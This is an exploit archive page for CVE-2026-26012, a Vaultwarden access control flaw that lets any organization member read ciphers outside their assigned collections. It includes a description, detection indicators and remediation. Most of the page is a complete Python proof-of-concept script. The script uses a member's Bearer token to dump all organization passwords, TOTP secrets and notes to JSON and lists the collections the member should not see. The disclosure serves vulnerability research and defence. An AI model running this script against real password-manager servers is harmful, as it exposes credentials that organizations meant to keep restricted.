PoC Archive PoC Archive
Medium CVE-2026-26012 (GHSA-h265-g7rm-h337) unpatched

Vaultwarden Organization Collection Permissions Bypass & Cipher Enumeration (CVE-2026-26012)

by Diégo Baelen (diegobaelen) · 2026-07-05

CVSS 6.5/10
Severity
Medium
CVE
CVE-2026-26012 (GHSA-h265-g7rm-h337)
Category
web
Affected product
Vaultwarden (unofficial Bitwarden-compatible server)
Affected versions
Versions prior to the GHSA-h265-g7rm-h337 fix
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherDiégo Baelen (diegobaelen)
CVE / AdvisoryCVE-2026-26012 (GHSA-h265-g7rm-h337)
Categoryweb
SeverityMedium
CVSS Score6.5 (CVSSv3: AV:N/AC:L/PR:L/UI:N/C:H/I:N/A:N)
StatusPoC
Tagsvaultwarden, bitwarden, password-manager, idor, access-control-bypass, api, cipher-enumeration, self-hosted
RelatedN/A

Affected Target

FieldValue
Software / SystemVaultwarden (unofficial Bitwarden-compatible server)
Versions AffectedVersions prior to the GHSA-h265-g7rm-h337 fix
Language / PlatformPython 3 (standard library urllib, no third-party dependencies)
Authentication RequiredYes (any organization member with a valid Bearer token)
Network Access RequiredYes

Summary

CVE-2026-26012 is a broken access control vulnerability in Vaultwarden’s organization cipher endpoint. The /api/ciphers/organization-details endpoint is reachable by any organization member regardless of their assigned collection permissions, and internally calls Cipher::find_by_org to fetch every cipher (password/secure note/card/identity entry) belonging to the organization. The results are returned via CipherSyncType::Organization without re-checking collection-level access control, meaning a low-privileged member can retrieve the full contents of ciphers belonging to collections they are not supposed to see. The PoC authenticates with a Bearer token and organization ID, pulls the full organization cipher export, and can optionally cross-reference it against /api/collections to enumerate exactly which collections/ciphers are being exposed beyond the user’s declared access.


Vulnerability Details

Root Cause

Cipher::find_by_org fetches all ciphers for an organization without filtering by the requesting member’s actual collection-level permissions, and the organization-details endpoint does not perform that check before returning cipher data.

Attack Vector

  1. Obtain a valid Bearer token for any account that is a member of a target Vaultwarden organization (even with restricted collection access).
  2. Call GET /api/ciphers/organization-details?organizationId=<uuid> with that token; the response includes every cipher in the organization.
  3. Optionally call GET /api/collections and diff the collection IDs referenced by the returned ciphers against the collections the account is actually granted access to, confirming the authorization gap.

Impact

Full disclosure of organization-wide vault contents (logins, passwords, secure notes, cards, identities, TOTP secrets) to any organization member, irrespective of the collection permissions an administrator configured for them.


Environment / Lab Setup

Target:   Self-hosted Vaultwarden instance with an organization containing restricted collections
Attacker: Python 3 (standard library only, no pip install required)

Proof of Concept

PoC Script

See CVE-2026-26012.py in this folder.

1
2
3
python CVE-2026-26012.py -u https://target.example.com -t "YOUR_TOKEN" -uuid "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" -o CVE-2026-26012.json

python CVE-2026-26012.py -u https://target.example.com -t "YOUR_TOKEN" -uuid "<org-uuid>" -c

The script calls organization-details with the supplied token/organization ID, saves the full raw export to JSON, and prints summary statistics (total ciphers, breakdown by type, TOTP/password/notes counts). With -c, it additionally fetches /api/collections and reports which collection IDs appear in the exposed cipher data but are not present in the caller’s own accessible-collections list, directly demonstrating the authorization bypass. It also supports an interactive menu mode when run with no arguments.


Detection & Indicators of Compromise

Signs of compromise:

  • Access logs showing organization-details requests from users who hold no or few explicit collection permissions
  • Unusual JSON export activity from a member account shortly followed by unrelated logins using disclosed credentials
  • Discrepancy between an account’s assigned collections and the volume of ciphers it has retrieved

Remediation

ActionDetail
Primary fixUpgrade Vaultwarden to the version addressing GHSA-h265-g7rm-h337, which enforces collection-level filtering on organization-details
Interim mitigationAudit organization member collection assignments and rotate/limit membership until patched; monitor for anomalous organization-details API usage

References


Notes

Mirrored from https://github.com/diegobaelen/CVE-2026-26012 on 2026-07-05.

CVE-2026-26012.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
#!/usr/bin/env python3
import argparse
import json
import re
import sys
from urllib.error import HTTPError, URLError
from urllib.parse import urljoin
from urllib.request import Request, urlopen

UUID_PATTERN = re.compile(
    r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)


def banner():
    print("""
    \033[1;31m
 @@@@@@@  @@@  @@@  @@@@@@@@              @@@@@@    @@@@@@@@    @@@@@@     @@@@@@              @@@@@@     @@@@@@   @@@@@@@@     @@@   @@@@@@  
@@@@@@@@  @@@  @@@  @@@@@@@@             @@@@@@@@  @@@@@@@@@@  @@@@@@@@   @@@@@@@             @@@@@@@@   @@@@@@@  @@@@@@@@@@   @@@@  @@@@@@@@ 
!@@       @@!  @@@  @@!                       @@@  @@!   @@@@       @@@  !@@                       @@@  !@@       @@!   @@@@  @@@!!       @@@ 
!@!       !@!  @!@  !@!                      @!@   !@!  @!@!@      @!@   !@!                      @!@   !@!       !@!  @!@!@    !@!      @!@  
!@!       @!@  !@!  @!!!:!    @!@!@!@!@     !!@    @!@ @! !@!     !!@    !!@@!@!   @!@!@!@!@     !!@    !!@@!@!   @!@ @! !@!    @!@     !!@   
!!!       !@!  !!!  !!!!!:    !!!@!@!!!    !!:     !@!!!  !!!    !!:     @!!@!!!!  !!!@!@!!!    !!:     @!!@!!!!  !@!!!  !!!    !@!    !!:    
:!!       :!:  !!:  !!:                   !:!      !!:!   !!!   !:!      !:!  !:!              !:!      !:!  !:!  !!:!   !!!    !!:   !:!     
:!:        ::!!:!   :!:                  :!:       :!:    !:!  :!:       :!:  !:!             :!:       :!:  !:!  :!:    !:!    :!:  :!:      
 ::: :::    ::::     :: ::::             :: :::::  ::::::: ::  :: :::::  :::: :::             :: :::::  :::: :::  ::::::: ::    :::  :: ::::: 
 :: :: :     :      : :: ::              :: : :::   : : :  :   :: : :::   :: : :              :: : :::   :: : :    : : :  :      ::  :: : :::                                                          ░ ░            
    \033[1;m
                        
                                           Author: Diégo BAELEN
                                           GitHub: https://github.com/diegobaelen
                                           
                                           \033[1;31mFilename: CVE-2026-26012.py\033[0m
                                           \033[1;31mDescription: Authentified Organization Collection Permissions Bypass & Cipher Enumeration (Vaultwarden)\033[0m
    """)


def menu() -> None:
    print("\n\033[1;34m" + "=" * 70 + "\033[0m")
    print("\033[1;34m[1]\033[0m Export organization-details to JSON")
    print("\033[1;34m[2]\033[0m Compare collections (/api/ciphers/organization-details vs /api/collections)")
    print("\033[1;34m[0]\033[0m Quit")
    print("\033[1;34m" + "=" * 70 + "\033[0m")


def is_valid_uuid(value: str) -> bool:
    return bool(UUID_PATTERN.match(value))


def normalize_target(target: str) -> str:
    base = target.rstrip("/")
    if not base.startswith(("http://", "https://")):
        base = "https://" + base
    return base


def format_network_error(exc: URLError | HTTPError) -> str:
    """Return a user-friendly message for network/HTTP errors."""
    if isinstance(exc, HTTPError) and exc.code == 401:
        return "Authentication failed (401 Unauthorized). Check your Bearer token."
    return f"Network error: {exc}"


def fetch_json(headers: dict, base_url: str, path: str) -> dict | None:
    url = urljoin(base_url + "/", path.lstrip("/"))
    req = Request(url, headers=headers)
    with urlopen(req, timeout=30) as resp:
        return json.loads(resp.read().decode())


CIPHER_TYPE_LABELS = {
    1: "Login",
    2: "Secure note",
    3: "Card",
    4: "Identity",
}


def compute_export_stats(data: dict) -> dict:
    """Compute statistics from organization-details API response."""
    items = data.get("data") or []
    total = 0
    by_type: dict[int, int] = {}
    deleted = 0
    all_collection_ids: set[str] = set()
    with_attachments = 0
    with_totp = 0
    with_password = 0
    with_notes = 0
    with_reprompt = 0

    for item in items:
        if item.get("object") != "cipherDetails":
            continue
        total += 1
        t = item.get("type")
        if t is not None:
            by_type[t] = by_type.get(t, 0) + 1
        if item.get("deletedDate") is not None:
            deleted += 1
        for cid in item.get("collectionIds") or []:
            all_collection_ids.add(cid)
        if item.get("attachments") and isinstance(item["attachments"], list):
            with_attachments += 1
        login = item.get("login") or {}
        data_obj = item.get("data") or {}
        if login.get("totp") or data_obj.get("totp"):
            with_totp += 1
        if login.get("password") or data_obj.get("password"):
            with_password += 1
        if item.get("notes") or data_obj.get("notes"):
            with_notes += 1
        if item.get("reprompt", 0) != 0:
            with_reprompt += 1

    return {
        "total": total,
        "by_type": by_type,
        "deleted": deleted,
        "active": total - deleted,
        "unique_collections": len(all_collection_ids),
        "with_attachments": with_attachments,
        "with_totp": with_totp,
        "with_password": with_password,
        "with_notes": with_notes,
        "with_reprompt": with_reprompt,
    }


def print_export_stats(stats: dict) -> None:
    """Print organization-details statistics to the console."""
    w = 22  # label width for vertical alignment of numbers
    print("\n\033[1;34m[+] Statistics (organization-details)\033[0m")
    print(f"    {'Total ciphers:':<{w}} {stats['total']}")
    type_parts = []
    for t in sorted(stats["by_type"].keys()):
        label = CIPHER_TYPE_LABELS.get(t, "Other")
        type_parts.append(f"{label}: {stats['by_type'][t]}")
    print(f"    {'By type:':<{w}} " + (", ".join(type_parts) if type_parts else "—"))
    print(f"    {'Active / Deleted:':<{w}} {stats['active']} / {stats['deleted']}")
    print(f"    {'Unique collections:':<{w}} {stats['unique_collections']}")
    print(f"    {'With attachments:':<{w}} {stats['with_attachments']}")
    print(f"    {'With TOTP:':<{w}} {stats['with_totp']}")
    print(f"    {'With password:':<{w}} {stats['with_password']}")
    print(f"    {'With notes:':<{w}} {stats['with_notes']}")
    print(f"    {'With reprompt:':<{w}} {stats['with_reprompt']}")


def run_export(args: argparse.Namespace, headers: dict) -> dict | None:
    path = f"/api/ciphers/organization-details?organizationId={args.organization_id}"
    data = fetch_json(headers, args.target, path)
    if data is None:
        return None
    stats = compute_export_stats(data)
    print_export_stats(stats)
    out_path = args.output or "CVE-2026-26012.json"
    with open(out_path, "w", encoding="utf-8") as f:
        json.dump(data, f, indent=2, ensure_ascii=False)
    print(f"\n[+] Export saved: {out_path}")
    with open(out_path, "r", encoding="utf-8") as f:
        lines = f.readlines()
    print("\n[+] First 20 lines of output:")
    print("-" * 40)
    for line in lines[:20]:
        print(line.rstrip())
    print("-" * 40)
    return data


def run_compare(args: argparse.Namespace, headers: dict) -> None:
    # Collections the user has access to
    coll_resp = fetch_json(headers, args.target, "/api/collections")
    if not coll_resp or "data" not in coll_resp:
        print("[+] Unable to fetch /api/collections")
        return
    my_collection_ids = {c["id"] for c in coll_resp["data"] if c.get("id")}

    # All collectionIds present in organization-details (cid)
    org_path = f"/api/ciphers/organization-details?organizationId={args.organization_id}"
    org_data = fetch_json(headers, args.target, org_path)
    if not org_data or "data" not in org_data:
        print("[+] Unable to fetch organization-details")
        return
    all_cid_in_org = set()
    for item in org_data["data"]:
        for cid in item.get("collectionIds") or []:
            all_cid_in_org.add(cid)

    # Access discrepancy: collections exposed by organization-details that the user does not have access to
    only_in_org = all_cid_in_org - my_collection_ids

    if only_in_org:
        print("\033[1;34m" + "="*70 + "\033[1;m")
        print(f"[+] Access discrepancy: {len(only_in_org)} collection(s)")
        for cid in sorted(only_in_org):
            print(f"[+] {cid}")
    else:
        print("\033[1;34m" + "="*70 + "\033[1;m")
        print("[+] Access discrepancy: none")


def run_interactive() -> None:
    banner()
    last_url = ""
    last_token = ""
    last_org_id = ""
    last_output = ""
    while True:
        try:
            menu()
            choice = input("\n\033[1;34m[+]\033[0m Your choice: ").strip()
            if choice == "0":
                print("\n\033[1;34m[*] Goodbye.\033[0m\n")
                sys.exit(0)
            if choice not in ("1", "2"):
                print("\n\033[1;31m[+] Invalid choice.\033[0m")
                continue
            url_prompt = f"[+] Base URL [{last_url}]: " if last_url else "[+] Base URL: "
            url = (input(url_prompt).strip() or last_url) or ""
            token_prompt = "[+] Bearer token (leave empty to keep): " if last_token else "[+] Bearer token: "
            token = (input(token_prompt).strip() or last_token) or ""
            org_prompt = f"[+] Organization ID (UUID) [{last_org_id}]: " if last_org_id else "[+] Organization ID (UUID): "
            org_id = (input(org_prompt).strip() or last_org_id) or ""
            if not url or not token or not org_id:
                print("\n\033[1;31m[+] URL, token and organization-id are required.\033[0m")
                continue
            if not is_valid_uuid(org_id):
                print(
                    f"\n\033[1;31mError: invalid organization-id (expected: UUID). Received: {org_id!r}\033[0m"
                )
                continue
            output = last_output or "CVE-2026-26012.json"
            if choice == "1":
                out_prompt = f"[+] Output file [{output}]: " if output else "[+] Output file (default: CVE-2026-26012.json): "
                out_in = input(out_prompt).strip()
                if out_in:
                    output = out_in
            last_url = url
            last_token = token
            last_org_id = org_id
            if choice == "1":
                last_output = output
            args = argparse.Namespace(
                target=normalize_target(url),
                token=token,
                organization_id=org_id,
                output=output,
                compare_collections=(choice == "2"),
            )
            headers = {
                "Authorization": f"Bearer {args.token}",
                "Content-Type": "application/json",
            }
            try:
                if args.compare_collections:
                    run_compare(args, headers)
                else:
                    run_export(args, headers)
            except (URLError, HTTPError) as e:
                print(f"\033[1;31m[+] {format_network_error(e)}\033[0m")
        except KeyboardInterrupt:
            print("\n\n\033[1;34m[*] Goodbye.\033[0m\n")
            sys.exit(0)


def main() -> None:
    if len(sys.argv) == 1:
        run_interactive()
        return

    parser = argparse.ArgumentParser(
        description="CVE-2026-26012 — POC export organization-details and compare collections."
    )
    parser.add_argument(
        "--url",
        "-u",
        dest="target",
        required=True,
        help="Target base URL (required)",
    )
    parser.add_argument(
        "--token",
        "-t",
        required=True,
        help="Bearer token (required)",
    )
    parser.add_argument(
        "--organization-id",
        "-uuid",
        required=True,
        dest="organization_id",
        help="Organization UUID (required, validated UUID format)",
    )
    parser.add_argument(
        "--output",
        "-o",
        default="CVE-2026-26012.json",
        help="Output JSON file (default: CVE-2026-26012.json)",
    )
    parser.add_argument(
        "--compare-collections",
        "-c",
        action="store_true",
        help="Compare collectionIds (organization-details vs /api/collections) and display discrepancies",
    )
    args = parser.parse_args()

    banner()

    if not is_valid_uuid(args.organization_id):
        print(
            f"Error: invalid organization-id (expected: UUID format 8-4-4-4-12). Received: {args.organization_id!r}",
            file=sys.stderr,
        )
        sys.exit(2)

    args.target = normalize_target(args.target)
    headers = {
        "Authorization": f"Bearer {args.token}",
        "Content-Type": "application/json",
    }

    try:
        if args.compare_collections:
            run_compare(args, headers)
        else:
            run_export(args, headers)
    except (URLError, HTTPError) as e:
        print(f"[+] {format_network_error(e)}", file=sys.stderr)
        sys.exit(3)


if __name__ == "__main__":
    main()